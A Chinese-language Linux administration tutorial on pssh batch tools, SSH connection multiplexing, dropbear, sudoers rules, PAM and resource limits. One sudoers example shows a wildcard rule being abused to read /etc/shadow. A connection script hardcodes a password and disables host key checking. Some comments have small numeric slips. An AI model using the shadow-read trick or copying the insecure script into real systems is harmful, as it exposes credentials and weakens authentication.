#列表文件内的信息格式是“ip:端口”,如果本机和远程机器使用的ssh端口一致,则可以省去端口,直接用ip就行。
cat hosts.txt
10.0.0.8:25791
10.0.0.6
pssh -h hosts.txt -i hostname

#将标准错误和标准正确重定向分别保存至本地主机的/data/stdout和/data/stderr目录下
pssh -H 192.168.1.10 -o /data/stdout -e /data/stderr -i “hostname”

#变量需要加单引号引起来
[root@centos7 ~]#cat hosts.txt
10.0.0.8
10.0.0.6
[root@centos7 ~]#pssh -h hosts.txt -i echo $HOSTNAME
[1] 16:47:00 [SUCCESS] 10.0.0.6
centos7.cici.com
[2] 16:47:01 [SUCCESS] 10.0.0.8
centos7.cici.com
[root@centos7 ~]#pssh -h hosts.txt -i 'echo $HOSTNAME'
[1] 16:48:05 [SUCCESS] 10.0.0.6
centos6.localdomain
[2] 16:48:05 [SUCCESS] 10.0.0.8
centos8.localdomain

#*需要用双或单引号引起来
[root@centos7 ~]#pssh -h hosts.txt -i ls /data/*
[1] 16:48:29 [FAILURE] 10.0.0.6 Exited with error code 2
Stderr: ls: cannot access /data/10.0.0.6: No such file or directory
ls: cannot access /data/10.0.0.8: No such file or directory
[2] 16:48:29 [FAILURE] 10.0.0.8 Exited with error code 2
Stderr: ls: cannot access '/data/10.0.0.6': No such file or directory
ls: cannot access '/data/10.0.0.8': No such file or directory

[root@centos7 ~]#pssh -h hosts.txt -i 'ls /data/*'
[1] 16:48:47 [SUCCESS] 10.0.0.6
[2] 16:48:47 [SUCCESS] 10.0.0.8
/data/centos7.log
/data/f1.txt
/data/f2.txt
/data/host_pass.txt

b)批量上传文件或目录(pscp.pssh命令)

pscp.pssh功能是将本地文件批量复制到远程主机

pscp [-vAr] [-h hosts_file] [-H [user@]host[:port]] [-l user] [-p par] [-o outdir] [-e errdir] [-t timeout] [-O options] [-x args] [-X arg] local remote

pscp-pssh选项

-v 显示复制过程
-r 递归复制目录
-h file:主机列表文件,内容格式”[user@]host[:port]”
-l:登录使用的用户名

范例:

#将本地curl.sh 复制到/app/目录
pscp.pssh -H 192.168.1.10 /root/test/curl.sh /app/
pscp.pssh -h host.txt /root/test/curl.sh /app/

#将本地多个文件批量复制到/app/目录
pscp.pssh -H 192.168.1.10 /root/f1.sh /root/f2.sh /app/

#将本地目录批量复制到/app/目录
pscp.pssh -H 192.168.1.10 -r /root/test/ /app/

c)批量下载文件或目录(pslurp命令)

pslurp功能是将远程主机的文件批量复制到本地

pslurp [-vAr] [-h hosts_file] [-H [user@]host[:port]] [-l user] [-p par][-o outdir] [-e errdir] [-t timeout] [-O options] [-x args] [-X arg] [-L localdir] remote local(本地名)

pslurp选项

-L 指定从远程主机下载到本机的存储的目录,local是下载到本地后的名称
-r 递归复制目录

范例:

#批量下载目标服务器的passwd文件至/app下,并更名为user
pslurp -H 192.168.1.10 -L /app /etc/passwd user

[root@centos7 ~]#pslurp -h hosts.txt -L /data/ /etc/redhat-release version
[1] 17:50:57 [SUCCESS] 10.0.0.6
[2] 17:50:57 [SUCCESS] 10.0.0.8
[root@centos7 ~]#tree /data
/data
├── 10.0.0.6
│ └── version
└── 10.0.0.8
└── version

d)批量同步(prsync命令) 同步本机/mnt/test目录下的文件或目录到远程机器的/mnt/test路径下

[root@bastion-IDC ~]# prsync -l root -h hosts.txt -r /mnt/test/ /mnt/test/

同步本机/mnt/test目录下的文件或目录到远程机器的/mnt路径下

[root@bastion-IDC ~]# prsync -l root -h hosts.txt -r /mnt/test/ /mnt/

注意:上面批量同步目录操作是将本机对应目录数据同步到远程机器上,远程机 器上对于目录下多余的文件也会保留(不会删除多余文件)

同理,批量同步文件操作,去掉-r参数

注意:同步文件的时候,其实就是完全覆盖,远程机器对应文件内的文件会被全部替换!

如下: 同步本机的/mnt/test/file文件内容到远程服务器/mnt/test/file文件内

[root@bastion-IDC ~]# prsync -l root -h hosts.txt /mnt/test/file /mnt/test/file
[root@bastion-IDC ~]# prsync -l root -h hosts.txt /mnt/test/file /mnt/aaa

e)批量kill远程机器上的进程(pnuke命令)

比如批量kill掉远程机器上的nginx进程

[root@bastion-IDC ~]# pnuke -h hosts.txt -l root nginx

SSH 多路复用

用 SSH 的 ControlMaster 多路复用:认证一次建立一条"主连接",之后所有命令都从这条已认证的 TCP 连接上开子通道,完全不再走认证流程。

#建立主连接:
export SSHPASS=123456
sshpass -e ssh -o ControlMaster=yes \
                -o ControlPath=/tmp/sshcm/vm.sock \
                -o ControlPersist=120m \
                -f -N [email protected]

#- ControlMaster=yes — 我来当主连接
#- ControlPath — 落地成一个 Unix socket,后续连接靠它找到主连接
#- ControlPersist=120m — 没有活跃会话也在后台保活 120 分钟
#- -f -N — 不执行命令、退到后台,纯粹当通道

#之后每条命令:
ssh -o ControlPath=/tmp/sshcm/vm.sock [email protected] '<command>'

# 使用下面命令关闭,或者让它自己过期
ssh -O exit -o ControlPath=/tmp/sshcm/vm.sock [email protected]

脚本

cat >/tmp/vmssh.sh<<\EOF
#!/bin/bash
# Reuse control master; re-establish with backoff if missing.
SOCK=/tmp/sshcm/vm.sock
mkdir -p /tmp/sshcm
export SSHPASS=123456
ensure_cm() {
  if ssh -o ControlPath=$SOCK -O check [email protected] 2>/dev/null; then return 0; fi
  for i in 1 2 3 4 5; do
    sshpass -e ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
      -o ControlMaster=yes -o ControlPath=$SOCK -o ControlPersist=120m \
      -o NumberOfPasswordPrompts=1 -f -N [email protected] 2>/dev/null && sleep 2 && return 0
    sleep $((i*15))  # 15/30/45/60/75s 指数退避
  done
  echo "CM-FAILED" >&2; return 1
}
ensure_cm || exit 1
ssh -o ControlPath=$SOCK [email protected] "$@"
EOF

#-O check 是探活。主连接还在就直接用;断了才重建,失败则退避重试——正好吃掉那 5% 的抖动。
/tmp/vmssh.sh 'ls -l'

dropbear

由Matt Johnston所开发的Secure Shell软件。Dropbear是一个相对较小的SSH服 务器和客户端。它运行在一个基于POSIX的各种平台。Dropbear是开源软件,在 麻省理工学院式的许可证。Dropbear是特别有用的“嵌入”式的Linux(或其他 Unix)系统,如无线路由器,期望在存储器与运算能力有限的情况下取代 OpenSSH,尤其是嵌入式系统

官网:http://matt.ucc.asn.au/dropbear/dropbear.html

格式:

dbclient [options] [user@]host[/port][,[user@]host/port],...] [command]

dropbearkey:主机密钥生成工具
dropbearkey  -t <type>  -f <filename>  [-s bits]
/etc/dropbear/

服务端程序:
dropbear
-p  [IP:]PORT
-F: 前台
-E:将日志发往错误输出

范例:centos8编译安装dropbear

#安装相关包:
yum install gcc zlib-devel
#下载
wget http://matt.ucc.asn.au/dropbear/releases/dropbear-2019.78.tar.bz2
tar xf dropbear-2019.78.tar.bz2
#编译安装
cd dropbear-2019.78/
less INSTALL README
./configure --prefix=/apps/dropbear --sysconfdir=/etc/dropbear
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install

[root@centos8 dropbear-2019.78]#tree /apps/
/apps/
└── dropbear
    ├── bin
    │   ├── dbclient
    │   ├── dropbearconvert
    │   ├── dropbearkey
    │   └── scp
    ├── sbin
    │   └── dropbear
    └── share
        └── man
            ├── man1
            │   ├── dbclient.1
            │   ├── dropbearconvert.1
            │   └── dropbearkey.1
            └── man8
                └── dropbear.8


#配置PATH变量
echo 'PATH=/apps/dropbear/sbin:/apps/dropbear/bin:$PATH' > /etc/profile.d/dropbear.sh
. /etc/profile.d/dropbear.sh

#生成私钥
/apps/dropbear/sbin/dropbear -h
mkdir /etc/dropbear # 生成配置目录
dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key -s 2048
dropbearkey -t dss -f /etc/dropbear/dropbear_dsa_host_key

#启动ssh服务:
dropbear -p :2222 -FE  #前台运行,相当于sshd
dropbear -p :2222      #后台运行

#客户端访问:
ssh -p 2222 [email protected]
dbclient -p 2222 [email protected] #相当于ssh

参考:

阮一峰 SSH 中文教程 https://wangdoc.com/ssh/index.html

利用sudo实现授权

sudo 介绍

sudo 即superuser do,允许系统管理员让普通用户执行一些或者全部的root命 令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录和管 理时间,同样也提高了安全性

在最早之前,一般用户管理系统的方式是利用su切换为超级用户。但是使用su的 缺点之一在于必须要先告知超级用户的密码。sudo于1980年前后推出,sudo使一 般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名 字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特 殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为 “sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”, 此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答 后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为 5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。

由于不需要超级用户的密码,部分Unix系统甚至利用sudo使一般用户取代超级用 户作为管理帐号,例如Ubuntu、Mac OS X等。

sudo特性 :

  • sudo能够授权指定用户在指定主机上运行某些命令。如果未授权用户尝试使用 sudo,会提示联系管理员
  • sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到 中心主机或者日志服务器
  • sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它 的密码时,用户获得了一张存活期为5分钟的票
  • sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权 限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440

sudo 组成

包:sudo

  • 配置文件: /etc/sudo.conf
  • 授权规则配置文件: /etc/sudoers, /etc/sudoers.d

安全编辑授权规则文件和语法检查工具

EDITOR=vim
/usr/sbin/visudo

范例:

#检查语法
visudo -c

#检查指定配置文件语法
visudo -f /etc/sudoers.d/test
  • 授权编辑规则文件的工具: /usr/bin/sudoedit
  • 执行授权命令: /usr/bin/sudo
  • 时间戳文件: /var/db/sudo
  • 日志文件: /var/log/secure

sudo 命令

sudo命令

ls -l /usr/bin/sudo
sudo –i –u wang 切换身份

sudo [-u user] COMMAND
-V             : 显示版本信息等配置信息
-U user        :(other user)配合-l选项来指定要列出哪个用户的权限信息
-u user        :user 默认为root,代表的用户
                    若使用uid的方式指定用户,则需要使用"#uid",但很多时候可能需要对"#"使用"\"转义,即使用"\#uid"
-l [command]   :ll 列出用户在主机上可用的和被禁止的命令。
                    当配合command时,且该command是被允许执行的命令,将列出命令的全路径及该命令参数。
                    如果command是不被允许执行的,则sudo直接以状态码-1退出。
                    可以指定多个字母"l"来显示更详细的格式。
-n             :使得sudo变成非交互模式,但如果安全策略是要求输入密码的,则sudo将报错
-S             :(stdin)该选项使得sudo从标准输入而非终端设备上读取密码,给定的密码必须在尾部加上换行符
-s [command]   :(shell)指定要切换到的shell,如果给定command,则在此shell上执行该命令
-v             :再延长密码有效期限5分钟,更新时间戳
-k             :清除时间戳(1970-01-01),下次需要重新输密码
-K             :与-k类似,还要删除时间戳文件
-E             :(environment)该选项告诉sudo在执行命令时保留自己的环境变量,保留环境变量的方式是执行环境配置文件。
                    但因为跨了用户,所以很可能某些家目录下的环境配置文件会因为无权限而执行失败,此时sudo将报错   
-b             :在后台执行指令。 注意,如果使用该选项,将无法使用任务计划(job)来控制维护这些后台进程,需要交互的命令应该考虑是否真的要后台,因为可能会失败
-p             :改变询问密码的提示符号
                    示例:-p "password on %h for user %p: "
--             :暗示sudo命令行参数到此结束

sudo 授权规则配置

配置文件格式说明: etc/sudoer , /etc/sudoers.d

配置文件中支持使用通配符 glob

?          #任意单一字符
*          #匹配任意长度字符
[wxc]      #匹配其中一个字符
[!wxc]     #除了这三个字符的其它字符
\x         #转义
[[alpha]]  #字母

范例:

/bin/ls [[alpha]]*

配置文件规则有两类

  1. 别名定义:不是必须的
  2. 授权规则:必须的

sudoers 授权规则格式:

用户 登入主机=(代表用户) 命令
user host=(runas:user_group) command

#格式说明:
user     #运行命令者的身份
host     #通过哪些主机  ALL所有
(runas)  #以哪个用户的身份,默认为root用户 ALL所有
command  #运行哪些命令

范例:

root ALL=(ALL) ALL

sudoers的别名

User和runas:运行命令者的身份
    username                用户
    #uid                    用户uid
    %group_name             用户组
    %#gid                   用户组id
    user_alias|runas_alias  用户别名
    #支持将多个用户定义为一组用户,称之为用户别名,即user_alias;
host:通过哪些主机
    ip或hostname
    network(/netmask)
    host_alias
command:运行哪些命令
    command name
    directory #/sbin/
    sudoedit 特殊权限,可用于向其它用户授予sudo权限;
    Cmnd_Alias

sudo别名有四种类型:

  • User_Alias
  • Runas_Alias
  • Host_Alias
  • Cmnd_Alias

别名格式:

[A-Z]([A-Z][0-9]_)*  # 别名必须是大写字母组成,可以包含数字及_下划线组成

别名定义:

Alias_Type NAME1 = item1,item2,item3 : NAME2 = item4, item5

实战案例

范例1:Student用户授权sudo执行所有命令

Student ALL=(ALL) ALL
%wheel ALL=(ALL) ALL

范例2:student用户授权sudo执行多个命令

student ALL=(root) /sbin/pidof,/sbin/ifconfig  # 多个命令之间用,逗号分隔
%wheel ALL=(ALL) NOPASSWD: ALL #NOPASSWD不需要输入密码

范例3:用户别名和命令别名

User_Alias NETADMIN= netuser1,netuser2
Cmnd_Alias NETCMD = /usr/sbin/ip
NETADMIN ALL=(root) NETCMD

范例4:

User_Alias SYSADER=wang,cici,%admins
User_Alias DISKADER=tom
Host_Alias SERS=www.meu.com,172.16.0.0/24
Runas_Alias OP=root
Cmnd_Alias SYDCMD=/bin/chown,/bin/chmod
Cmnd_Alias DSKCMD=/sbin/parted,/sbin/fdisk
SYSADER SERS= SYDCMD,DSKCMD
DISKADER ALL=(OP) DSKCMD

范例5:感叹号排除的意思

User_Alias ADMINUSER = adminuser1,adminuser2
Cmnd_Alias ADMINCMD = /usr/sbin/useradd,/usr/sbin/usermod, /usr/bin/passwd [azA-Z]*, !/usr/bin/passwd root
ADMINUSER ALL=(root) NOPASSWD:ADMINCMD,PASSWD:/usr/sbin/userdel

范例6:指定用户执行命令所代表的用户,可以设定默认代表哪个用户

Defaults:wang runas_default=tom
wang ALL=(tom,jerry) ALL

wang$ sudo cmd #默认代表tom执行cmd
wang$ sudo -u jerry cmd

范例7:限制地址执行sudo

wang 192.168.1.6,192.168.1.8=(root) /usr/sbin/,!/usr/sbin/useradd

范例8:如何解决?

wang ALL=(ALL) /bin/cat /var/log/messages*  #加星有风险

sudo cat /var/log/messages /etc/shadow # 可以看多个文件


#解决
wang ALL=(ALL) /bin/cat /var/log/messages* , ! /bin/cat /var/log/messages* *

范例9:授权用户修改配置文件,慎重

vim /etc/sudoers.d/test
Wang ALL=(ALL) sudoedit  

wang 可以执行下面命令
sudoedit /etc/sudoers
sudoedit /etc/sudoers.d/test

范例10:修改验证密码间隔为2分钟

[root@centos8 ~]#vim /etc/sudoers
Defaults env_reset , timestamp_timeout=2
[root@centos8 ~]#sudo -V
......
Authentication timestamp timeout: 2.0 minutes......

范例11:ubuntu 默认用户具有sudo权限

root@ubuntu1804:~# grep %sudo /etc/sudoers
%sudo ALL=(ALL:ALL) ALL

root@ubuntu1804:~# id wang
uid=1000(wang) gid=1000(wang)
groups=1000(wang),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)

#默认的用户wang 属于此sudo组,所以wang有所有权限

范例12: 修改ubuntu的visudo的默认编辑器

root@ubuntu1804:~# export EDITOR=vim
root@ubuntu1804:~# visudo

范例:删除时间戳文件

[root@centos8 ~]#su - wang
Last login: Mon May 25 10:28:14 CST 2020 on pts/1
[wang@centos8 ~]$sudo -K # 删除用户的时间戳文件/run/sudo/ts/wang
[wang@centos8 ~]$exit
logout
[root@centos8 ~]#ll /run/sudo/ts

范例:修改sudo 提示符格式

[wang@centos8 ~]$sudo cat /var/log/messages
[sudo] password for wang:
[wang@centos8 ~]$sudo -p "password on %h for user %p: " cat /var/log/messages
password on centos8 for user wang:

PAM认证机制

PAM 介绍

认证库:文本文件,MySQL,NIS,LDAP等

PAM:Pluggable Authentication Modules,插件式的验证模块,Sun公司于1995 年开发的一种与认证相关的通用框架机制。PAM 只关注如何为服务验证用户的 API,通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的 认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认 证方式而无需更改服务程序一种认证框架,自身不做认证

http://www.linux-pam.org/

PAM架构

image-20210120200416213.webp

PAM提供了对所有服务进行认证的中央机制,适用于本地登录,远程登录,如: telnet,rlogin,fsh,ftp,点对点协议PPP,su等应用程序中,系统管理员通过PAM 配置文件来制定不同应用程序的不同认证策略;应用程序开发者通过在服务程序 中使用PAM API(pam_xxxx( ))来实现对认证方法的调用;而PAM服务模块的开发 者则利用PAM SPI来编写模块(主要调用函数pam_sm_xxxx( )供PAM接口库调用, 将不同的认证机制加入到系统中;PAM接口库(libpam)则读取配置文件,将应 用程序和相应的PAM服务模块联系起来

  • PAM API:面向应用程序认证的接口 (应用程序开发)
  • PAM SPI:面向认证模块的接口 (模块开发)
  • PAM配置:面向配置的配置接口 (配置开发)

PAM相关文件

包名:pam

  • 模块文件目录:/lib64/security/*.so (模块开发人员关注)
  • 特定模块相关的设置文件:/etc/security/
  • 应用程序调用PAM模块的配置文件
    • 主配置文件:/etc/pam.conf,默认不存在, 一般不使用主配置
    • 为每种应用模块提供一个专用的配置文件:/etc/pam.d/APP_NAME (常用)
    • 注意:如/etc/pam.d存在,/etc/pam.conf将失效
]# rpm -q pam
pam-1.1.8-23.el7.x86_64

└─$ dpkg -S /etc/pam.conf 
libpam-runtime: /etc/pam.conf

# rpm -ql pam
/etc/pam.d # 配置如何调用模块文件
/etc/pam.d/config-util
/etc/pam.d/fingerprint-auth
/etc/pam.d/other
/etc/pam.d/password-auth
/etc/pam.d/postlogin
/etc/pam.d/smartcard-auth
/etc/pam.d/system-auth
/etc/security
/etc/security/access.conf
/etc/security/chroot.conf
/etc/security/console.apps
/etc/security/console.handlers
/etc/security/console.perms
/etc/security/console.perms.d
/etc/security/group.conf
/etc/security/limits.conf
/etc/security/limits.d
/etc/security/limits.d/20-nproc.conf
/etc/security/namespace.conf
/etc/security/namespace.d
/etc/security/namespace.init
/etc/security/opasswd
/etc/security/pam_env.conf
/etc/security/sepermit.conf
/etc/security/time.conf
/usr/lib64/libpam.so.0

范例:查看程序是否支持PAM

[root@centos8 ~]#ldd `which sshd` |grep libpam
    libpam.so.0 => /lib64/libpam.so.0 (0x00007fea8e70d000)

[root@centos8 ~]#ldd `which passwd` |grep pam
    libpam.so.0 => /lib64/libpam.so.0 (0x00007f3cce2ce000)
    libpam_misc.so.0 => /lib64/libpam_misc.so.0 (0x00007f3cce0ca000)

PAM工作原理

PAM认证一般遵循这样的顺序:Service(服务) –> PAM(配置文件) –> pam_*.so

PAM认证首先要确定那一项服务,然后加载相应的PAM的配置文件(位于 /etc/pam.d下),最后调用认证文件(位于/lib64/security下)进行安全认证

image-20210120200457594.webp

PAM认证过程示例:

  1. 使用者执行/usr/bin/passwd 程序,并输入密码
  2. passwd开始调用PAM模块,PAM模块会搜寻passwd程序的PAM相关设置文件,这个设置文件一般是在/etc/pam.d/里边的与程序同名的文件,即PAM会搜寻/etc/pam.d/passwd此设置文件
  3. 经由/etc/pam.d/passwd设定文件的数据,取用PAM所提供的相关模块来进行验证
  4. 将验证结果回传给passwd这个程序,而passwd这个程序会根据PAM回传的结果决定下一个动作(重新输入密码或者通过验证)

PAM 配置文件格式说明

通用配置文件/etc/pam.conf格式

application type control module-path arguments

专用配置文件/etc/pam.d/ 格式

type control module-path arguments
application:指服务名,如:telnet、login、ftp等,服务名字“OTHER”代表所有没有在该文件中明确配置的其它服务
type       :指模块类型,即功能
control    :PAM库该如何处理与该服务相关的PAM模块的成功或失败情况,一个关健词实现
module-path: 用来指明本模块对应的程序文件的路径名
Arguments  : 用来传递给该模块的参数. 有些复杂模块为自己单独准备了配置文件应用参数问题,如/etc/security/目录下的模块配置文件。

模块类型(module-type)

  • Auth 账号的认证和授权
  • Account 帐户的有效性,与账号管理相关的非认证类的功能,如:用来限制/允 许用户对某个服务的访问时间,限制用户的位置(例如:root用户只能从控制 台登录)
  • Password 用户修改密码时密码复杂度检查机制等功能
  • Session 用户会话期间的控制,如:最多打开的文件数,最多的进程数等
  • -type 表示因为缺失而不能加载的模块将不记录到系统日志,对于那些不总是安 装在系统上的模块有用

Control:

同一种功能的多个检查之间如何进行组合

两种实现机制:

  1. 简单实现:使用一个关键词来定义
  2. 详细实现:使用一个或多个“status=action”

简单实现:

  1. required:一票否决,表示本模块必须返回成功才能通过认证,但是如果该 模块返回失败,失败结果也不会立即通知用户,而是要等到同一type中的所 有模块全部执行完毕再将失败结果返回给应用程序,即为必要条件(给面子)
  2. requisite:一票否决,该模块必须返回成功才能通过认证,但是一旦该模块 返回失败,将不再执行同一type内的任何模块,而是直接将控制权返回给应 用程序。是一个必要条件(不给面子)
  3. sufficient:一票通过,表明本模块返回成功则通过身份认证的要求,不必 再执行同一type内的其它模块,但如果本模块返回失败可忽略,即为充分条 件,优先于前面的required和requisite(相当于老板,一锤定音)
  4. optional:表明本模块是可选的,它的成功与否不会对身份认证起关键作用, 其返回值一般被忽略
    • include: 调用其他的配置文件中定义的配置信息
    • substack: 与include类似

      # cat passwd
      #%PAM-1.0
      auth       include  system-auth
      account    include  system-auth
      password   substack system-auth
      -password   optional    pam_gnome_keyring.so use_authtok
      password   substack postlogin
      

详细实现:

[status1=action1, status2=action2, ...]
status:返回状态
    success, open_err, symbol_err, service_err, system_err, buf_err, perm_denied, auth_err, cred_insufficient, authinfo_unavail, user_unknown,
    maxtries, new_authtok_reqd, acct_expired, session_err, cred_unavail, cred_expired, cred_err, no_module_data, conv_err, authtok_err,
    authtok_recover_err, authtok_lock_busy, authtok_disable_aging, try_again, ignore, abort, authtok_expired, module_unknown, bad_item,
    conv_again, incomplete, and default.
    
action:采取的行为,比如ok, done, die, bad, ignore, ...
    ok: 模块过了,继续查
    done: 一票通过,相当于sufficient
    bad:失败继续检查,相当于required
    die: 一票否决,相当requisite
    ignore: 忽略
    reset: 重新检查
如
auth [user_unknown=ignore success=ok ignore=ignore default=bad] pam_securetty.so
image-20210413153724276.webp

module-path:

  • 模块文件所在绝对路径:
  • 模块文件所在相对路径:/lib64/security目录下的模块可使用相对路径,如:pam_shells.so、pam_limits.so
  • 有些模块有自已的专有配置文件,在/etc/security/*.conf目 录下

Arguments

  • debug :该模块应当用syslog( )将调试信息写入到系统日志文件中
  • no_warn :表明该模块不应把警告信息发送给应用程序
  • use_first_pass:该模块不能提示用户输入密码,只能从前一个模块得到输入 密码
  • try_first_pass:该模块首先用前一个模块从用户得到密码,如果该密码验证 不通过,再提示用户输入新密码
  • use_mapped_pass:该模块不能提示用户输入密码,而是使用映射过的密码
  • expose_account:允许该模块显示用户的帐号名等信息,一般只能在安全的环 境下使用,因为泄漏用户名会对安全造成一定程度的威胁

注意:修改PAM配置文件将马上生效

建议:编辑pam规则时,保持至少打开一个root会话,以防止root身份验证错误

PAM模块帮助

官方在线文档:http://www.linux-pam.org/Linux-PAM-html/

官方离线文档:http://www.linux-pam.org/documentation/

其他文档

pam模块文档说明:/user/share/doc/pam-*

rpm -qd pam

man --k pam_

man 模块名 如:man 8 rootok

常用PAM模块

pam_nologin.so 模块

功能:如果/etc/nologin文件存在,将导致非root用户不能登陆,当该用户登陆时, 会显示/etc/nologin文件内容,并拒绝登陆

范例:默认此模块可以对sshd等登录有效,但不影响su登录

└─$ grep nologin *
lightdm:auth      requisite pam_nologin.so
lightdm-autologin:# Block login if shell in nologin or false
lightdm-autologin:auth      required pam_succeed_if.so shell notin /sbin/nologin:/usr/sbin/nologin:/bin/false:/usr/bin/false
lightdm-autologin:auth      requisite pam_nologin.so
login:# Disallows other than root logins when /etc/nologin exists
login:auth       requisite  pam_nologin.so
ppp:auth        required        pam_nologin.so
sshd:# Disallow non-root logins when /etc/nologin exists.
sshd:account    required     pam_nologin.so

pam_limits.so 模块

功能:在用户级别实现对其可使用的资源的限制,例如:可打开的文件数量,可 运行的进程数量,可用内存空间

选项 [options] 含义 例子
-H 设置硬资源限制,一旦设置不能增加。 ulimit -Hs 64;限制硬资源,线程栈大小为 64K。
-S 设置软资源限制,设置后可以增加,但是不能超过硬资源设置。 ulimit -Sn 32;限制软资源,32 个文件描述符。
-a 显示当前所有的 limit 信息。 ulimit -a;显示当前所有的 limit 信息。
-c 最大的 core 文件的大小, 以 blocks 为单位。 ulimit -c unlimited; 对生成的 core 文件的大小不进行限制。
-d 进程最大的数据段的大小,以 Kbytes 为单位。 ulimit -d unlimited;对进程的数据段大小不进行限制。
-f 进程可以创建文件的最大值,以 blocks 为单位。 ulimit -f 2048;限制进程可以创建的最大文件大小为 2048 blocks。
-l 最大可加锁内存大小,以 Kbytes 为单位。 ulimit -l 32;限制最大可加锁内存大小为 32 Kbytes。
-m 最大内存大小,以 Kbytes 为单位。 ulimit -m unlimited;对最大内存不进行限制。
-n 可以打开最大文件描述符的数量。 ulimit -n 128;限制最大可以使用 128 个文件描述符。
-p 管道缓冲区的大小,以 Kbytes 为单位。 ulimit -p 512;限制管道缓冲区的大小为 512 Kbytes。
-s 线程栈大小,以 Kbytes 为单位。 ulimit -s 512;限制线程栈的大小为 512 Kbytes。
-t 最大的 CPU 占用时间,以秒为单位。 ulimit -t unlimited;对最大的 CPU 占用时间不进行限制。
-u 用户最大可用的进程数。 ulimit -u 64;限制用户最多可以使用 64 个进程。
-v 进程最大可用的虚拟内存,以 Kbytes 为单位。 ulimit -v 200000;限制最大可用的虚拟内存为 200000 Kbytes。

修改限制的实现方式:

(1) ulimit命令

  • ulimit是linux shell的内置命令,它具有一套参数集,用于对shell进程及其子进程资源限制。
  • ulimit的设定值是pre-process的,也就是说,每个进程有自己的limit值。
  • 立即生效,但无法保存
  • ulimit只影响shell进程及其子进程,用户登出后失效。
  • 可以在profile中加入ulimit的设置,变相的做到永久生效
help ulimit

-n 每个进程最多的打开的文件描述符个数
-u 最大用户进程数
-S 使用 soft(软)资源限制
-H 使用 hard(硬)资源限制

ulimit -HSn 65535  #  设定每个进程最大文件描述符的数量

(2) 配置文件:

/etc/security/limits.conf (立即生效)
/etc/security/limits.d/*.conf (立即生效)

配置文件格式:

#每行一个定义
<domain> <type> <item> <value>

#格式说明:
#<domain>:应用于哪些对象
Username  #单个用户
@group    #组内所有用户
*         #所有用户
%         #仅用于限制 maxlogins limit , 可以使用 %group 语法. 
          #只用 % 相当于 * 对所有用户maxsyslogins limit限制. 
          #%group 表示限制此组中的所有用户总的最大登录数

#<type>:限制的类型
Soft      #软限制,普通用户自己可以修改
Hard      #硬限制,由root用户设定,且通过kernel强制生效
-         #软硬使用相同限制;

#<item>:限制的资源类型
nofile    #所能够同时打开的最大文件数量,默认为1024
nproc     #所能够同时运行的进程的最大数量,默认为1024

#<value>:指定具体值

注意:systemd的service资源设置需要单独配置

#cat /etc/security/limits.conf
#This file sets the resource limits for the userslogged in via PAM.
#It does not affect resource limits of the systemservices.

在Centos7以上版本中,使用Systemd替代了之前的Sysvo/etc/securiity/limits.conf文件的配置作用域缩小了。

  • /etc/securitylimits.conf的配置,只适用于通过PAM认证登录用户的资源限制,它对systemd的service的资源限制不生效。
  • 因此登录用户的限制,通过/etc/security/limits.conf与/etc/security/limits.d下的文件设置即可。
  • 对于systemd service的资源设置,则需修改全局配置。
    • 全局配置文件放在/etc/systemd/system.conf和/etc/systemd/user.conf,同时也会加载两个对应目录中的所有.conf文件/etc/systemd/system.conf.d/*.conf和/etc/systemd/user.conf.d/*.conf
    • system.conf是系统实例使用的,user.conf是用户实例使用的。
vim /etc/systemd/system.conf
DefaultLimitNOFILE=1000000
DefaultLimitNPROC=65535
或者针对指定的service添加下面行
[Service]
LimitNOFILE=100000
LimitNPROC=65535

#查看服务资源限制
systemctl show nginx.service |grep -i limit

案例:系统的各种资源的默认值

[root@centos8 ~]#ulimit -a
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 7092
max locked memory       (kbytes, -l) 16384
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 7092
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

案例:ulimit命令修改用户打开的文件个数,最多能打开2^10次方个文件

[root@centos8 ~]#ulimit -n
1024
[root@centos8 ~]#ulimit -n 1048577
-bash: ulimit: open files: cannot modify limit: Operation not permitted
[root@centos8 ~]#ulimit -n 1048576  # 最多能打开2^10次方个文件
[root@centos8 ~]#ulimit -a
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 7092
max locked memory       (kbytes, -l) 16384
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1048576
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 7092
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited
[root@centos8 ~]#echo 2^20 |bc
1048576

案例:限制用户最多打开的文件数和运行进程数,并持久保存

cat /etc/pam.d/system-auth
session     required    pam_limits.so

vim /etc/security/limits.conf
#用户apache可打开10240个文件
apache – nofile 10240
#用户student不能运行超过20个进程
student hard nproc 10

#用student登录多次运行bash,观察结果

[root@centos8 ~]#vim /etc/security/limits.conf
wang        -       nofile 66666
wang        -       nproc 5
me        -       nofile 88888

